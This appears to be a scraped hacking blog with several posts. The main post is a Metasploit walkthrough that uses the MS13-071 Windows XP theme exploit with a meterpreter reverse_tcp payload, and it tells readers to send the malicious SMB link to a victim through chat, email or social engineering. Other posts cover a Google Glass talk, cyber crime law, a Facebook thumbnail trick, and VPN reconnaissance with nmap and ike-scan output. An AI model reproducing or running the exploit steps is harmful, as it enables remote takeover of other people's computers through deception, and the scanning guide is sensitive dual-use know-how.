So today we will look how an attacker can hack into windows xp system using a Arbitrary code execution vulnerability.We are going to use metasploit that is present on kali Linux or you can do the same with backtrack also. Technical description of the vulnerability is there exist a vulnerability on Microsoft Windows XP and Windows 2003 Operating system on handling of the Screen Saver path, in the [boot] section. An arbitrary path can be used as screen saver, including a remote SMB resource, which allows for remote code execution when a malicious .theme file is opened, and the “Screen Saver” tab is viewed. 
 
Lets carryout the attack Practically here i have used victim machine to windows sp3 and attack to be kali Linux. 
so follow it step by step 
<li>open terminal in kali Linux and type msfconsole. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole on kali" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s720/msfconsole.png" width="580" /></a></div> 
<li>Now type down following commands one by one 
 
<li>use exploit/windows/fileformat/ms13_071_theme 
 
<li>msf exploit (ms13_071_theme)>set payload windows/meterpreter/reverse_tcp 
 
<li>msf exploit (ms13_071_theme)>set lhost 192.168.223.133 
(IP of your Kali machine to know type ifconfig on new terminal) 
<li>msf exploit (ms13_071_theme)>set srvhost 192.168.223.133 
 
<li>msf exploit (ms13_071_theme)>exploit 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Exploit to hack windows xp system" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s720/exploit.png" width="580" /></a></div> 
once all this done you need to give to your victim \\192.168.1.3:gCzJXDKtJugDsVFC.scr via chat or email or any social engineering technique you can use.once the victim open the url provided by you he will asked for confirmation of opening link . 
as soon as victim click run you will have your meterpreter shell open . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s1600/send+link.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Confirmation for un" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s420/send+link.png" /></a></div>Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hacked into Windows XP system" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s820/hacked.png" width="600" /></a></div>Enjoy Hacking Be safe and keep learning .

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! So today we will look how an attacker can hack into windows xp system ...

Google Glass Hacks:Fun and Frightening use Presentation

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google Glass Hacks" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" /></a></div>Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware design and manufacture. Includes demonstrations of applications enabled by an always-on image capturing wearable computer. You'll leave with a clear understanding of the field's status quo, how we got here, and insight into what's around the corner. 
Always-on camera enabled wearable computers, like Google Glass and Lambda Hat, enable a variety of slightly creepy, but undeniably useful applications. For the past few months, I've worn a computing device that takes pictures every few seconds. I run facial detection over the image stream, pulling out every face I have seen. Soon, we'll be able to conduct mass facial recognition using this data. Other applications include detecting license plates and automatically uploading them to a public GPS tagged website. This talk will cover the history, state of the art, and future of wearable computing, machine learning, and the privacy implication of this technology. 
 
Video 
====== 
<iframe width="560" height="315" src="//www.youtube.com/embed/PnXGb7RHXWQ" frameborder="0" allowfullscreen></iframe> 
<a href="https://events.ccc.de/congress/2013/wiki/Main_Page">Source</a> 
It do deserve a share with those many useful information and great presentation everyone geek should whatch

Google Glass Hacks:Fun and Frightening use Presentation

Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware de...

Cyber Crime And Rules On Internet Be Safe

<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT3KrovZgUsRN7Kxw_RGh1R6EvjN1-Tw7rkwSzeLjiCG5XMbsXwMUxmbs6POXJBF9awMNAvzgIv7YW_IbsM2bzTW56zZ6dLRVqTYPmmJ92qNGVyQd7kmh5E01cts6BKa3cHPNJh95viDpr/s1600/cyber+.jpg"> 
<img alt="Cyber Crime And Rules" height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT3KrovZgUsRN7Kxw_RGh1R6EvjN1-Tw7rkwSzeLjiCG5XMbsXwMUxmbs6POXJBF9awMNAvzgIv7YW_IbsM2bzTW56zZ6dLRVqTYPmmJ92qNGVyQd7kmh5E01cts6BKa3cHPNJh95viDpr/s1600/cyber+.jpg" width="520" /> 
</a> 
Cyber Crime And Rules That You Should Know 
</div>As The Days Progresses use of computers and the internet has increased rapidly among people.with the gaining popularity of internet or world wide web there also growth in crime specific to cyber world.people are getting smart enough to steal some one credential and perform various action on that may be consider bank account transaction or hacking into social network. 
Everyone who uses the internet is a potential victim. In the enforcement of these criminal offenses, it is imperative to incarcerate the small percentage who are criminal users and to protect the majority of users who are innocent. There is a broad spectrum of computer and internet crimes and they are often covered by both state and federal laws. 
 
Computer offences can be defined as a crime in which a computer, or a network of computers, are used in the commission of the crime. If an individual takes advantage of the internet in the commission of a crime, this is sometimes called a net-crime. 
 
The direct victim of a computer crime can either be the computer, or network, itself. These crimes can victimize something independent of the network such as a consumer by simply using a computer during the crime. 
 
Crimes that target computers specifically include things such as the implementation of computer viruses. Another type of this crime is sometimes referred to as a denial-of-service attack which is aimed at bringing down a particular network. The introduction of malware to a network is also a direct attack on a computer. Examples of malware are trojan horses and spyware. These are forms of unwanted software which infect a computer and are also referred to as a computer contaminant. 
Cyber terrorism is a form of this type of crime in which the perpetrator attempts to bring down a large scale computer network to interrupt its users and create panic. 
 
Examples of computer crimes with independent victims are cyberstalking, identity theft, and phishing. 
 
Some other common examples that are often publicized in the media are the distribution of child pornography and hate propaganda. Cyber terrorism and those distributing hate propaganda are directly linked because they are often perpetrated by the same organization or organizations with similar goals. 
 
With such a variety of offenses related to the cyber world, many worry that they will be subject to prosecution if they wander into an inappropriate website or inadvertently spread malware. The truth of the matter is that in the majority of state and federal statutes regulating computer crimes, the laws are written specifically to target those who indicate that they "knowingly" and/or "willingly" perpetrated one of these offenses. 
 
The agents who investigate these crimes, along with the prosecutor, carry the burden of showing that a person had the intent to commit the computer crime. A knowledgeable criminal lawyer can provide the expertise to defend those who may find themselves prosecuted for something that they did not have the intent to commit. 
 
So Lets Make the Cyber world Crime Free and Better for ease of Use For Benefit.

Cyber Crime And Rules On Internet Be Safe

Cyber Crime And Rules That You Should Know As The Days Progresses use of computers and the internet has increased rapidly among people.w...

Facebook Hack to Make Different Profile Picture and Tumbails

Hi all here is a small trick that you can use to make your two different Facebook profile picture its just a small photo id related hack that makes it cool lets do it. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnLmaIrlrQJK891YlWnXRLXl7zOvEeQSzjZk55I7WRAEHlA-AwiJQw8oXxXDG_W-F7J4Xyac_vAP51WBM1APThSJePjyoZW7uy5bydyoALys_sWb0GKor3pQy1NHrMo1e11PtuJvbkI1C-/s1600/facebook+hack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnLmaIrlrQJK891YlWnXRLXl7zOvEeQSzjZk55I7WRAEHlA-AwiJQw8oXxXDG_W-F7J4Xyac_vAP51WBM1APThSJePjyoZW7uy5bydyoALys_sWb0GKor3pQy1NHrMo1e11PtuJvbkI1C-/s520/facebook+hack.png" /></a></div>Follow it step wise 
 
<li>ok first of all chose an image that you want to make different profile picture 
 
<a href="https://www.facebook.com/me/photos_albums">Get your own photo albums</a> 
It will open your "Profile Pictures" Album , click any picture you want to use as another profile picture. 
 
<li>After opening(Click) your wished profile image , look at the url and copy the "fbid" value , mine here is : 250571248304537 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZpwGamKudISFbAMohbX3WYeH_0Nx7uvfMwxLP3IC6bVj27vrwdPI51FNDujONb2OaLZmaXWpn0cLdZymhge_d71TPSvYFyCgPtu8xJEYqGF6Hsg6_i3x_3Cn4Jmoma4ZzIUzO1zIepM5/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="facebook hack on image change" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZpwGamKudISFbAMohbX3WYeH_0Nx7uvfMwxLP3IC6bVj27vrwdPI51FNDujONb2OaLZmaXWpn0cLdZymhge_d71TPSvYFyCgPtu8xJEYqGF6Hsg6_i3x_3Cn4Jmoma4ZzIUzO1zIepM5/s320/1.png" /></a></div> 
<li>Carefully from here go to your Facebook account , click your profile picture and choice "Edit Thumbnail" . 
a pop up window will appear . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAxIjynBM3P1axJPA19m8EPcX_y9HH4Wmuj2nF9Xyci6FU_GYLukn6lo6DHqC3zMHeQ9Sj7RhG2Bi3iulR_s_2hOGuGlvFZzobXWkv8ZZOXAMdRfHx3cU8VWoH2Ej184KLqsWo3ULMWk-K/s1600/2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAxIjynBM3P1axJPA19m8EPcX_y9HH4Wmuj2nF9Xyci6FU_GYLukn6lo6DHqC3zMHeQ9Sj7RhG2Bi3iulR_s_2hOGuGlvFZzobXWkv8ZZOXAMdRfHx3cU8VWoH2Ej184KLqsWo3ULMWk-K/s320/2.png" /></a></div>Now right click and inspect element . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg843z3WSrk1l-OqRjCwEKxW74_Ia0mSljw__3UmKdjqdJxuyGs_RQKXFfRX3UG23sxgq7jZ-Uvx3fEVEoZAwoc7JboRs_Q7AC-ubJEjF9SWYVMDD6Vhn-GGIgAvB_jRxHHl4sy2nyrVBkx/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg843z3WSrk1l-OqRjCwEKxW74_Ia0mSljw__3UmKdjqdJxuyGs_RQKXFfRX3UG23sxgq7jZ-Uvx3fEVEoZAwoc7JboRs_Q7AC-ubJEjF9SWYVMDD6Vhn-GGIgAvB_jRxHHl4sy2nyrVBkx/s320/3.png" /></a></div><li>Here come the important step Scroll down until you reach the code which start with : 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMGvY4NiVzJaGbLm1CHXHbm7BcKgkCQB-2nN04Cl0m32ELRFydWRVTyk6RipfgF4v7a0EeWPKmKn3oNlofmHVvTYwuCI_sFlNW_9k4pcnpkHeKmd_aoiu_uB5Ca9BLDBhT_9kQ6E6JrG1/s1600/one.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMGvY4NiVzJaGbLm1CHXHbm7BcKgkCQB-2nN04Cl0m32ELRFydWRVTyk6RipfgF4v7a0EeWPKmKn3oNlofmHVvTYwuCI_sFlNW_9k4pcnpkHeKmd_aoiu_uB5Ca9BLDBhT_9kQ6E6JrG1/s1600/one.png" /></a> 
Click the left small arrow to open the code and scroll down a bit until you find this code : 
 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSaMVe477VFGgCm3mzy191vqV_ZLlU3qeSM-u2ICr72s48ep9vSQS3JxGPnm0sQJvM7JiHIDz4StPKcplP4gqmejepmDneZhP22PWT3FOtaIrKwYMTFfBR7ezG0IuhOq6maJ9jgqONlLU/s1600/12334.png" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSaMVe477VFGgCm3mzy191vqV_ZLlU3qeSM-u2ICr72s48ep9vSQS3JxGPnm0sQJvM7JiHIDz4StPKcplP4gqmejepmDneZhP22PWT3FOtaIrKwYMTFfBR7ezG0IuhOq6maJ9jgqONlLU/s1600/12334.png" /></a> 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimglMWob8DgOntz1yKs3ykg50NH6T9Ho2Il7OyEEhAePiAtsZOOcKlbVxxuyjAmcpy_vo5d9f0SognBL02NQvdkWDE5XO9NHEWp9BXqCpaFqUAbcQNbZZtv1HET6eDD5QlKdst3Oli8z0b/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimglMWob8DgOntz1yKs3ykg50NH6T9Ho2Il7OyEEhAePiAtsZOOcKlbVxxuyjAmcpy_vo5d9f0SognBL02NQvdkWDE5XO9NHEWp9BXqCpaFqUAbcQNbZZtv1HET6eDD5QlKdst3Oli8z0b/s320/4.png" /></a></div><li>and finally Double click on the value to edit it , or right click and choice edit html , paste the fbid value that you copied in step "2" above . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIU7i8XSadoKVE-Hj26_24yQOtWXdtUxEawlUMTSXA4OyKIQMK1FxAgaX3RF7YN5YlaCAzHua7-stcJcvhGKEXs44nxqMj6a5eAMKmL3kPRJsM0tNSJdJ2gmKUzU9E3ynfDnF0ZEw9cqk/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJIU7i8XSadoKVE-Hj26_24yQOtWXdtUxEawlUMTSXA4OyKIQMK1FxAgaX3RF7YN5YlaCAzHua7-stcJcvhGKEXs44nxqMj6a5eAMKmL3kPRJsM0tNSJdJ2gmKUzU9E3ynfDnF0ZEw9cqk/s320/5.png" /></a></div> 
Click to save the changed , close the "Inspect element" window , Finally click "Save" Volla thats done :). 
Thanks a lot keep visiting have fun .

Facebook Hack to Make Different Profile Picture and Tumbails

Hi all here is a small trick that you can use to make your two different Facebook profile picture its just a small photo id related hack tha...

Penetration Testing VPN With Ike Scanner On Backtrack Part-1

Hi All As you all know these days many organisation using VPN Quite Actively so we will take a quick look on penetration testing Virtual Private Network Using Ike Scanner On Backtrack. 
So there is a myth on everyone mind that VPN Provide Full Protection Against Hacker (Means no hacker can hack :P )...so its never like that if there exist some loop hole than any attacker can hack network against any high security but VPN Does ensure some level of protection..still we will discuss some good and bad point in VPN connection. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizUrPP7oX9oxnTd3qf8yDiv4R_lyfiJ1BYV4ev41DXgh8K93rHKWvuhqLU_1kdtWvc5D1tMFJAwUJbOuUDe4fK85Y_uoCzTzCVBh2ajoj0wldUKQMxPeuiple-r0nO7aMuCx3w9wHDo3cz/s1600/vpn-service.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Penetration Testing VPN Network" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizUrPP7oX9oxnTd3qf8yDiv4R_lyfiJ1BYV4ev41DXgh8K93rHKWvuhqLU_1kdtWvc5D1tMFJAwUJbOuUDe4fK85Y_uoCzTzCVBh2ajoj0wldUKQMxPeuiple-r0nO7aMuCx3w9wHDo3cz/s620/vpn-service.jpg" width="550" /></a></div>The meaning of doing VPN penetration testing because it help the organisation to baseline (identify the loopholes that exist in the present implementation and modify the configuration accordingly to protect itself from known problems) its current VPN security posture, identify threats and weaknesses, and implement a new security policy that will mitigate risks. 
 
Penetration Testing A VPN Network Involves several phases those are :- 
 
<li>Scanning or identifying the VPN gateway. 
<li>Fingerprinting the VPN gateway for guessing implementation. 
<li>PSK mode assessment and PSK sniffing. 
<li>Offline PSK cracking. 
<li>Checking for default user accounts. 
<li>Testing the VPN gateway for vendor specific vulnerabilities. 
 
this first step you can easily do with tools like <a href="http://www.darksite.co.in/2013/08/nmap-commands-for-hackers-kali.html">nmap</a> 
Example :- 
<blockquote>root@bt:~# nmap -sU -p 500 172.16.21.200 
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST 
Nmap scan report for 172.16.21.200 
Host is up (0.00036s latency). 
PORT STATE SERVICE 
500/udp open isakmp 
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) 
 
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds 
</blockquote>Now as you now i have used -sU For Udp Scan And -p is for specifying port to be 500. 
 
IKE Scan Tool :- 
Ike-scan is a simple but powerful command-line tool that is used to find and fingerprint VPN gateways. It sends specially crafted IKE packets to target gateways and enlists any IKE responses that are received. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with eight transforms inside it. 
 
Each transform contains a number of attributes like DES or 3DES as the encryption algorithm, SHA or MD5 as the integrity algorithm, a pre-shared key as the authentication type, Diffie-Hellman 1 or 2 as the key distribution algorithm and 28800 seconds as the lifetime. 
 
Initial VPN discovery with Ike-scan is as shown below: 
<blockquote>root@bt:~# ike-scan -M 172.16.21.200 
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 
172.16.21.200 Main Mode Handshake returned 
HDR=(CKY-R=d90bf054d6b76401) 
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) 
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) 
 
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify 
</blockquote>The -M shows each payload in a line, so that the output will be neat and easy to understand. The output can be any of the following: 
 
<li>0 returned handshake; 0 returned notify: This means the target is not an IPsec gateway. 
<li>1 returned handshake; 0 returned notify: This means the target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable. 
<li>0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried). 
In the example shown, the VPN gateway replies with one returned handshake and the acceptable transform set has these parameters: 
<blockquote>Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800 
 
Custom transform sets can be tried against the target with the 
"--trans" switch: 
 
--trans=(1=1,2=2,3=1,4=2) 
</blockquote>where 1=Encryption Algorithm, 2=Hash Algorithm, 3=Authentication Method, 4=Group Description, and 5=Group Type. 
 
Kindly refer to <a href="http://www.ietf.org/rfc/rfc2409.txt">RFC 2409</a> Appendix A for a complete understanding of transform set values. There are a number of other tools like ipsectrace, ipsecscan, etc., available for IPsec scanning, but undoubtedly Ike-scan is one of the best and a frequently updated tool. 
 
Vulnerability assessment tools like Nessus, Nexpose, etc, can be used to identify the vulnerabilities of VPN implementations. A full security audit on the target gateway with such types of tools will generate a detailed report with all identified problems and the mitigation steps available. 
 
Further penetration testing i will post on later tutorial plese leave your comment below if you have any query.

Penetration Testing VPN With Ike Scanner On Backtrack Part-1

Hi All As you all know these days many organisation using VPN Quite Actively so we will take a quick look on penetration testing Virtual Pri...